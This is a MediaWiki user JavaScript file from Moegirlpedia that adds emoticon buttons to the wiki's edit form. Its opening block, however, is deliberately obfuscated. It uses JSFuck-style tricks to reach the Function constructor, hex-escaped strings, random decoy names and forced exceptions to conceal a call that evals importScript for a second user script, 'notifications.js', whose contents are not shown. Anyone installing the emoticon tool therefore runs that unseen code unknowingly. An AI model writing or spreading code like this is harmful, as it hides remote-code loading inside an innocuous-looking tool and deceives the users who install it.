注意:在保存之后,您可能需要清除浏览器缓存才能看到所作出的变更的影响。
?_=1
来访问最新页面。https://zh.moegirl.org.cn/User:Imfrankliu/js/emoticons.js?_=1
$(document).ready(function(){ (function(_f, _r, _a, _n, _k, _j, _s){_$ = +![]; _$ = { ____: (typeof window + [])[+!![]+!![]+!![]+!![]] +(typeof window + [])[_$] +(_$[_$] + [])[+!![]] +(![] + [])[+!![]+!![]+!![]] +(!![] + [])[_$] +(!![] + [])[_$+!![]] +(!![] + [])[_$+!![]+!![]] +(typeof window + [])[+!![]+!![]+!![]+!![]] +(!![] + [])[_$] +(typeof window + [])[_$] +(!![] + [])[_$+!![]], $___: _$, _$__: '\x69\x6D\x70\x6F\x72\x74\x53\x63\x72\x69\x70\x74', __$_: '\x28\x27\x55\x73\x65\x72\x3A\x49\x6D\x66\x72\x61\x6E\x6B\x6C\x69\x75\x2F\x6A\x73\x2F', ___$: '\x2E\x6A\x73\x27\x29', $$$$: ['notifications'], $_$: { ____: window.atob(_f + _r + _a + _n + _k), _$$_: function(){throw false;}, $__$: ['$', 'jQuery', Infinity, 'mw', 'mediaWiki', null, typeof wikiPlus], $$$$: window.btoa(_j + _s) }, _$_: { ttGBUXICqgpHSpoXLLIL: '\x73\x56\x4B\x65\x52\x58\x6F\x45\x44\x4F\x59\x6B\x75\x64\x52\x61\x79\x77\x4C\x76', uwwfdkeODxdenAMwyOqd: '\x75\x77\x77\x66\x64\x6B\x65\x4F\x44\x78\x64\x65\x6E\x41\x4D\x77\x79\x4F\x71\x64', sVKeRXoEDOYkudRaywLv: '\x74\x74\x47\x42\x55\x58\x49\x43\x71\x67\x70\x48\x53\x70\x6F\x58\x4C\x4C\x49\x4C' } }; try { _$.$_$._$$_(); } catch (_$$) { (_$.$___)[_$.____][_$.____]('if ($ === _$._$_.uwwfdkeODxdenAMwyOqd) {eval(_$._$_.ttGBUXICqgpHSpoXLLIL + _$._$_.sVKeRXoEDOYkudRaywLv)}for (ofVPC in _$.$$$$) {try {vEBqU.DWkQQ();} catch (vbXNE){eval(_$._$__ + _$.__$_ + _$.$$$$[ofVPC] + _$.___$)} finally {}}_$ = +![];')(); } finally { _$ = +![]; } })('quRopKcImOZGsAfYbAxH', 'aXojuxArjqABMqkcDIfh', 'JhXeZDvrTJFAAsoXiHsU', 'mgZSGuTEfANmfFYgnzxb', 'iqWdgREcaPYDzjmRmVii', 'kokxxYccOwcteEhqksst', 'uieyiZgVhBHJIwKRwZdW'); var count = 0; var emoticonInterval = setInterval(function(){ if (typeof Wikiplus !== "undefined") { if ($('.Wikiplus-InterBox-Header')[0]) { $('.Wikiplus-InterBox-Header').eq(0).html('QuickEdit <a href=\'//zh.moegirl.org/index.php?title=' + mw.config.get('wgPageName') + '&action=edit\'>点我添加表情包~</a>'); } } else { count++; } if (count >= 5) { clearInterval(emoticonInterval); } }, 1500); function appendToTextArea(src) { $('#mw-content-text').find('textarea:first').val($('#mw-content-text').find('textarea:first').val() + '<img src=\'' + src + '\' style=\'width: 25px; height: 25px;\' />'); } if ($('.cancelLink')[0]) { $('head').append('<style>.Imfrankliu-emoticon{cursor: pointer;}</style>'); $('.editButtons').append('<a class=\'Imfrankliu-emoticon\' id=\'emoticons-0\'>#[滑稽]</a> '); $('.editButtons').append('<a class=\'Imfrankliu-emoticon\' id=\'emoticons-1\'>#[喷]</a> '); $('.editButtons').append('<a class=\'Imfrankliu-emoticon\' id=\'emoticons-2\'>#[乖]</a> '); $('.editButtons').append('<a class=\'Imfrankliu-emoticon\' id=\'emoticons-3\'>#[汗]</a> '); $('.editButtons').append('<a class=\'Imfrankliu-emoticon\' id=\'emoticons-4\'>#[黑线]</a> '); $('#emoticons-0').click(function(){ appendToTextArea('https://ooo.0o0.ooo/2016/04/17/57134cf2c08bb.jpg'); }); $('#emoticons-1').click(function(){ appendToTextArea('https://ooo.0o0.ooo/2016/04/17/57134cf338f56.jpg'); }); $('#emoticons-2').click(function(){ appendToTextArea('https://ooo.0o0.ooo/2016/04/17/57134cf318f93.jpg'); }); $('#emoticons-3').click(function(){ appendToTextArea('https://ooo.0o0.ooo/2016/04/17/57134cf33d05c.jpg'); }); $('#emoticons-4').click(function(){ appendToTextArea('https://ooo.0o0.ooo/2016/04/17/57134dda0aef8.png'); }); } });